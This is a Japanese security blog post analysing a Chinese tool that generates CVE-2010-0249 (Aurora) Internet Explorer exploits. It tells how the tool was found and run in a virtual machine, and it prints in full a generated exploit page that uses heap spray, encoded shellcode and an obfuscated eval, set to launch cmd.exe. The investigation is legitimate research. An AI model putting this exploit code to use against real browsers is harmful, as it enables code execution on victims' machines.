CVE-2010-0249 Exploit コード生成ツール
Google、McAfee、Adobe を狙った攻撃で発覚した CVE-2010-0249 の脆弱性を悪用する Exploit を生成するツールが確認されたようですね(元ネタ:PANDALABS Blog)。いつものように中国製ツールですが、この手のツールが話題にのぼるのは、なんだが久々な感じがします。当該ツールが実際にあるのか、また当該ツールがどのような Exploit コードを生成するか確認してみました。
【注意】
この日記で書いている手順を実施する場合、自己責任でお願いします。
【追記 2010年3月10日】
Avira AntiVir をインストールした PC で Internet Explorer でこの日記を閲覧すると、「JS/Aurora.3657」を検出する場合があります。これは「JS/Aurora.3657」に該当する Exploit コードを掲載しているためです。日記を閲覧しているだけでは、この Exploit コードが実行されることはありません。
CVE-2010-0249 Exploit コード生成ツール
ツールの発見
中国製のツールを探すなら、Google ではなく百度(Baidu)が役に立ちます。ということで、百度にて、「IE 工具 0day」で検索してみました(検索結果)。検索結果をいくつか辿ってみると、Panda Labs と同様のインターフェイスのツールがありました(こちら)。他にも CVE-2010-0249 Exploit 生成ツールがあるようです(こんなのとか、こんなの)。残念ながら、これらのツールをダウンロードするためには、このフォーラムのアカウントが必要のようです。
今度は、百度にて「IE 0day 生成器 download」で検索してみます(検索結果)。この検索結果からいくつかリンクを辿ってみると、ありました(こちら)。ただし、このツールでは Exploit 実行時に IE が落ちるらしく、作者が修正版を公開したようです。その修正版を探してふらふらしていると、ここにありました。このツールをダウンロードします。
ツールの実行
ダウンロードしたツール(VirusTotal結果)を仮想環境の Windows XP SP3 日本語版で実行します*1。実行すると、以下のウインドウが起動します。
このウインドウのテキストフィールドに Exploit 成功時に実行させたい EXE のパスを入力するようです。ここでは、「C:\WINDOWS\system32\cmd.exe」と入力して、文字化けしたボタンをクリックします。すると、ツールの保存しているフォルダに ie.html(VirusTotal結果), XIGUA.GIF が生成されます。この ie.html が Exploit コード本体です。ie.html の内容は以下の通りです*2。
<html> <head> <script> var obj, event_obj; function spray_heap() { var chunk_size, payload, nopsled; chunk_size = 0x80000; payload = "CUTE00E8CUTE0000CUTE6A00CUTEEB03CUTE7E21CUTEE2D8CUTE9873CUTE8AFECUTE8E0ECUTE0E4ECUTE55ECCUTE4C52CUTE4F4DCUTE004ECUTE3600CUTE2F1ACUTE6370CUTE5C3ACUTE2E63CUTE7865CUTE0065CUTE5F59CUTE67AFCUTEA164CUTE0030CUTE408BCUTE8B0CCUTE1C70CUTE8BADCUTE0868CUTE8B51CUTE3C75CUTE748BCUTE782ECUTEF503CUTE8B56CUTE2076CUTEF503CUTEC933CUTE4149CUTE03ADCUTE33C5CUTE0FDBCUTE10BECUTEF238CUTE0874CUTECBC1CUTE030DCUTE40DACUTEF1EBCUTE1F3BCUTEE775CUTE8B5ECUTE245ECUTEDD03CUTE8B66CUTE4B0CCUTE5E8BCUTE031CCUTE8BDDCUTE8B04CUTEC503CUTE59ABCUTEBCE2CUTE0F8BCUTEF980CUTE7463CUTE570ACUTED0FFCUTEAF95CUTE6AAFCUTEEB01CUTE52ACCUTE5752CUTE8F8DCUTE10DBCUTE0040CUTEE981CUTE104ECUTE0040CUTE5251CUTED0FFCUTE016ACUTEFF57CUTEEC57CUTE57FFCUTE90E8CUTE3a43CUTE575cCUTE4e49CUTE4f44CUTE5357CUTE735cCUTE7379CUTE6574CUTE336dCUTE5c32CUTE6d63CUTE2e64CUTE7865CUTE0065"; var sss = Array(590,485,570,160,495,585,580,505,565,565,160,305,160,585,550,505,575,495,485,560,505,200,560,485,605,540,555,485,500,230,570,505,560,540,485,495,505,200,235,335,425,420,345,235,515,320,160,170,185,585,170,205,205,295,160,550,555,560,575,540,505,500,160,305,160,585,550,505,575,495,485,560,505,200,170,185,585,240,485,240,485,185,585,240,485,240,485,170,205,295); var arr = new Array; for (var i = 0; i < sss.length; i ++ ){ arr[i] = String.fromCharCode(sss[i]/5); } var cc=arr.toString();cc=cc.replace(/,/g, ""); cc = cc.replace(/@/g, ","); eval(cc); while (nopsled.length < chunk_size) nopsled += nopsled; nopsled_len = chunk_size - (cuteqq.length + 20); nopsled = nopsled.substring(0, nopsled_len); heap_chunks = new Array(); for (var i = 0 ; i < 200 ; i++) heap_chunks[i] = nopsled + cuteqq; } function initialize() { obj = new Array(); event_obj = null; for (var i = 0; i < 200 ; i++ ) obj[i] = document.createElement("COMMENT"); } function ev1(evt) { event_obj = document.createEventObject(evt); document.getElementById("sp1").innerHTML = ""; window.setInterval(ev2, 1); } function ev2() { var data, tmp; data = ""; tmp = unescape("%u0a0a%u0a0a"); for (var i = 0 ; i < 4 ; i++) data += tmp; for (i = 0 ; i < obj.length ; i++ ) { obj[i].data = data; } event_obj.srcElement; } function check() { if (navigator.userAgent.indexOf("MSIE") == -1) return false; return true; } if (check()) { initialize(); spray_heap(); } else window.location = 'about:blank' </script> </head> <body> <span id="sp1"> <img src="XIGUA.GIF" onload="ev1(event)"> </span> </body> </html>
Exploit コードの実行
生成された Exploit コード ie.html を同環境の Internet Explorer 6(IE6)で開くと、cmd.exe が起動しました。この日記での Exploit コードの実行については、おまけ程度です。成功しちゃいましたよ〜ぐらいですね。Microsoft が公表している OS・IE のバージョンのリスクをきちんと確認したいのですが、環境準備が困難なのと、時間がかかるため断念します。頻繁に脆弱性検証レポートを発行している NTTデータ・セキュリティにこのあたりをきっちりと検証していただけると、検証レポートの価値が非常に高まると思うのですが・・・*3